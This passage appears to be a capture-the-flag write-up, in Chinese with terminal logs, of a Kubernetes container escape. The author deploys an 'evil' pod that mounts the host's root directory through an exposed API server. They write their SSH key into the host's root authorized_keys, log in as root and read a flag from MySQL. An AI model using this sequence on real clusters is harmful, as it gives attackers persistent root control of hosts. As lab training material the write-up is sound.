"/apis/networking.k8s.io/v1",
"/apis/networking.k8s.io/v1beta1",
"/apis/node.k8s.io",
"/apis/node.k8s.io/v1beta1",
"/apis/policy",
"/apis/policy/v1beta1",
"/apis/rbac.authorization.k8s.io",
"/apis/rbac.authorization.k8s.io/v1",
"/apis/rbac.authorization.k8s.io/v1beta1",
"/apis/scheduling.k8s.io",
"/apis/scheduling.k8s.io/v1",
"/apis/scheduling.k8s.io/v1beta1",
"/apis/storage.k8s.io",
"/apis/storage.k8s.io/v1",
"/apis/storage.k8s.io/v1beta1",
"/healthz",
"/healthz/autoregister-completion",
"/healthz/etcd",
"/healthz/log",
"/healthz/ping",
"/healthz/poststarthook/apiservice-openapi-controller",
"/healthz/poststarthook/apiservice-registration-controller",
"/healthz/poststarthook/apiservice-status-available-controller",
"/healthz/poststarthook/bootstrap-controller",
"/healthz/poststarthook/ca-registration",
"/healthz/poststarthook/crd-informer-synced",
"/healthz/poststarthook/generic-apiserver-start-informers",
"/healthz/poststarthook/kube-apiserver-autoregistration",
"/healthz/poststarthook/rbac/bootstrap-roles",
"/healthz/poststarthook/scheduling/bootstrap-system-priority-classes",
"/healthz/poststarthook/start-apiextensions-controllers",
"/healthz/poststarthook/start-apiextensions-informers",
"/healthz/poststarthook/start-kube-aggregator-informers",
"/healthz/poststarthook/start-kube-apiserver-admission-initializer",
"/livez",
"/livez/autoregister-completion",
"/livez/etcd",
"/livez/log",
"/livez/ping",
"/livez/poststarthook/apiservice-openapi-controller",
"/livez/poststarthook/apiservice-registration-controller",
"/livez/poststarthook/apiservice-status-available-controller",
"/livez/poststarthook/bootstrap-controller",
"/livez/poststarthook/ca-registration",
"/livez/poststarthook/crd-informer-synced",
"/livez/poststarthook/generic-apiserver-start-informers",
"/livez/poststarthook/kube-apiserver-autor[火线商城](https://www.huoxian.cn/layman/groceries/list)egistration",
"/livez/poststarthook/rbac/bootstrap-roles",
"/livez/poststarthook/scheduling/bootstrap-system-priority-classes",
"/livez/poststarthook/start-apiextensions-controllers",
"/livez/poststarthook/start-apiextensions-informers",
"/livez/poststarthook/start-kube-aggregator-informers",
"/livez/poststarthook/start-kube-apiserver-admission-initializer",
"/logs",
"/metrics",
"/openapi/v2",
"/readyz",
"/readyz/autoregister-completion",
"/readyz/etcd",
"/readyz/log",
"/readyz/ping",
"/readyz/poststarthook/apiservice-openapi-controller",
"/readyz/poststarthook/apiservice-registration-controller",
"/readyz/poststarthook/apiservice-status-available-controller",
"/readyz/poststarthook/bootstrap-controller",
"/readyz/poststarthook/ca-registration",
"/readyz/poststarthook/crd-informer-synced",
"/readyz/poststarthook/generic-apiserver-start-informers",
"/readyz/poststarthook/kube-apiserver-autoregistration",
"/readyz/poststarthook/rbac/bootstrap-roles",
"/readyz/poststarthook/scheduling/bootstrap-system-priority-classes",
"/readyz/poststarthook/start-apiextensions-controllers",
"/readyz/poststarthook/start-apiextensions-informers",
"/readyz/poststarthook/start-kube-aggregator-informers",
"/readyz/poststarthook/start-kube-apiserver-admission-initializer",
"/readyz/shutdown",
"/version"
]
}
编辑evil-deployment.yaml,创建一个特权容器,将宿主机/目录挂载到容器内部/mnt目录
┌──(kali㉿kali)-[~/GreatWall]
└─$ vim evil-deployment.yaml
配置文件
#evil-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deployment
labels:
app: nginx
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.8
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
用kubectl apply配置创建pod,get获取pod,exec进入pod内部。
┌──(kali㉿kali)-[~/GreatWall]
└─$ sudo apt-get install kubernetes-client
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
appstream fonts-noto-color-emoji gir1.2-packagekitglib-1.0 libappstream4 libbabeltrace1 libblkid-dev libboost-regex1.74.0 libdebuginfod-common libglib2.0-dev-bin libipt2 libmount-dev libpackagekit-glib2-18 libpcre2-dev
libpcre2-posix3 libselinux1-dev libsepol-dev libsource-highlight-common libstemmer0d libxmlb2 python3-httplib2 python3-lazr.restfulclient python3-lazr.uri python3-oauthlib python3-software-properties python3-wadllib uuid-dev
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
kubernetes-client
0 upgraded, 1 newly installed, 0 to remove and 2133 not upgraded.
Need to get 8,195 kB of archives.
After this operation, 38.4 MB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 kubernetes-client amd64 1.20.5+really1.20.2-1.1 [8,195 kB]
Fetched 8,195 kB in 5s (1,604 kB/s)
Selecting previously unselected package kubernetes-client.
(Reading database ... 469025 files and directories currently installed.)
Preparing to unpack .../kubernetes-client_1.20.5+really1.20.2-1.1_amd64.deb ...
Unpacking kubernetes-client (1.20.5+really1.20.2-1.1) ...
Setting up kubernetes-client (1.20.5+really1.20.2-1.1) ...
Processing triggers for man-db (2.11.2-3) ...
Processing triggers for kali-menu (2023.4.5) ...
linux挂的代理会卡住,用windows的了下载kubectl.exe二进制程序
C:\Users\Administrator\Desktop\k8s>kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f evil-deployment.yaml
Please enter Username: test
Please enter Password: deployment.apps/nginx-deployment unchanged
C:\Users\Administrator\Desktop\k8s>kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods
Please enter Username: 1
Please enter Password: NAME READY STATUS RESTARTS AGE
nginx-deployment-864f8bfd6f-t9wxh 1/1 Running 0 6m57s
C:\Users\Administrator\Desktop\k8s>kubectl.exe --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment-864f8bfd6f-t9wxh /bin/bash
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
Please enter Username: test
Please enter Password:
root@nginx-deployment-864f8bfd6f-t9wxh:/#
挂载了宿主机的目录,所以直接将SSH公钥写到authorized_keys里,然后kali生成ssh密钥
┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
Created directory '/home/kali/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:oesXkbRYCpP/gwAkaOcv5b9U/QOWb+h1iA0tx5zJI9c kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|o.. . |
|.o..+ o |
|. o. + =.o |
| ...+.+.. * + |
| +..oSo O @ E |
| . o..= . & o |
| . o. o o O . |
| .... . o o |
| .o. . |
+----[SHA256]-----+
查看公钥
┌──(kali㉿kali)-[~]
└─$ cat ~/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjXRDGOf/535ENJmKk2eOhLSQStTvhKi62nJcCtA8/jpdSRJWPVEZWBdEG9pUB2TFnZT38b3W63b1IZcGSQ6vF3PlAVZuImSRQF7iKa+plde/XhvJpayXFvHzSbH1/AVMOExFuAyZdWzn2n7eF6+TPnu0x2ewsZ1Z1/VWKAE+SOHW7f4v6tlkNCVqxOTePM+xLakDMBeUg5V38ngY3Px41QtLTd3L4EOGazTUHc6vQxstgEig2V1bv1bVGgAIxGzYs5I/igBrNWvsDrs/dYbrFNmXY5rPERGCsHhfDoDcsqFk63I9ohcSurOXIPPe1feJuCSQErFG5kbfqAZgxfw3lOzYcjKm4rRXBzuGPLMd+c5yCOR6pbkVpfEKkM12rvPBAbnsakk+RmEKHuduHVO8qkCSMVywXxBhOxbcIRHjOPe1BTu2HAN4ad7/TIqEBTLSoAwX4jCFFZgkZBHRDgJlytZNNoNILX+Ifk6F6Xx53ePE2NB0i/ENhhHcptXxzQN0=
在弹shell的终端写入公钥
root@nginx-deployment-864f8bfd6f-t9wxh:/# echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjXRDGOf/535ENJmKk2eOhLSQStTvhKi62nJcCtA8/jpdSRJWPVEZWBdEG9pUB2TFnZT38b3W63b1IZcGSQ6vF3PlAVZuImSRQF7iKa+plde/XhvJpayXFvHzSbH1/AVMOExFuAyZdWzn2n7eF6+TPnu0x2ewsZ1Z1/VWKAE+SOHW7f4v6tlkNCVqxOTePM+xLakDMBeUg5V38ngY3Px41QtLTd3L4EOGazTUHc6vQxstgEig2V1bv1bVGgAIxGzYs5I/igBrNWvsDrs/dYbrFNmXY5rPERGCsHhfDoDcsqFk63I9ohcSurOXIPPe1feJuCSQErFG5kbfqAZgxfw3lOzYcjKm4rRXBzuGPLMd+c5yCOR6pbkVpfEKkM12rvPBAbnsakk+RmEKHuduHVO8qkCSMVywXxBhOxbcIRHjOPe1BTu2HAN4ad7/TIqEBTLSoAwX4jCFFZgkZBHRDgJlytZNNoNILX+Ifk6F6Xx53ePE2NB0i/ENhhHcptXxzQN0= kali@kali" > /mnt/root/.ssh/authorized_keys
接着用私钥连上去,获得root权限,去mysql找到flag
┌──(kali㉿kali)-[~/GreatWall]
└─$ proxychains ssh -i ~/.ssh/id_rsa root@172.22.14.37
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
The authenticity of host '172.22.14.37 (172.22.14.37)' can't be established.
ED25519 key fingerprint is SHA256:5Y15BASOqOwxSqIOsCdbFxRzWK9iM0PZWcWsxwIaP1E.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.22.14.37' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-213-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Welcome to Alibaba Cloud Elastic Compute Service !
Last login: Mon Mar 25 16:55:32 2024 from 36.112.10.102
root@ubuntu-k8s:~# ls /
bin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
root@ubuntu-k8s:~# ls /root
metarget nginx-deployment.yaml
root@ubuntu-k8s:~# mysql
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.7.42-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| flaghaha |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> use flaghaha
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
mysql> show tables;
+--------------------+
| Tables_in_flaghaha |
+--------------------+
| flag04 |
+--------------------+
1 row in set (0.00 sec)
mysql> select * from flag04;
+------+--------------------------------------------------------------+
| id | f1agggggishere |
+------+--------------------------------------------------------------+
| 1 | ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg== |
+------+--------------------------------------------------------------+
1 row in set (0.00 sec)
base64解码
┌──(kali㉿kali)-[~/GreatWall]
└─$ echo "ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==" |base64 -d
flag{da69c459-7fe5-4535-b8d1-15fff496a29f}